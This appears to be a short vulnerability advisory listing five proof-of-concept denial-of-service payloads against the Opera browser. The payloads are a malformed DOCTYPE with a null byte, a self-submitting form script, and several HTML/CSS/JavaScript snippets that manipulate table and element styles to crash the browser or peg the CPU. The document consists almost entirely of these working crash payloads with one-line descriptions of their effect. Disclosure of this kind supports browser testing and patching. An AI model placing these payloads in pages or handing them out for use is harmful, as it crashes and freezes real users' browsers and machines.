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Multiple Opera Denial Of Service Vulnerabilities
:: Operash :: has provided the following examples: [ CODE 1 ] Just 12 bytes data "<!DOCTYPE" + NULL(\x00) + 1byte + ">" makes CPU usage go up to 100%(depending on comp specs) and the computer gets freeze down. ----------------------------------------------------------------- <!DOCTYPE[\x00]A> ----------------------------------------------------------------- [ CODE 2 ] Abnormal termination is caused. ----------------------------------------------------------------- <form></form><script>document.forms[0].submit()</script> ----------------------------------------------------------------- [ CODE 3 ] Abnormal termination is caused. ----------------------------------------------------------------- <table> <tr id="crash" style="display:inline"><td> <script>crash.style.display = "none";</script> </td></tr> </table> ----------------------------------------------------------------- [ CODE 4 ] Abnormal termination is caused. ----------------------------------------------------------------- <table> <map id="crash" style="position:absolute"></map> <script>crash.style.height = crash.style.width = '0';</script> </table> ----------------------------------------------------------------- [ CODE 5 ] CPU usage go up to 100%(depending on comp specs) and the computer gets freeze down. ----------------------------------------------------------------- <html> <head> <style type="text/css"> <!-- .aaaaa:after{content:"A";display:block} .bbbbb{display:run-in} .ccccc{display:inline-block} //--> </style> </head> <body> <div class="aaaaa"> <div class="bbbbb"> <div class="ccccc"> </div> </div> </div> </body> </html> ----------------------------------------------------------------- |
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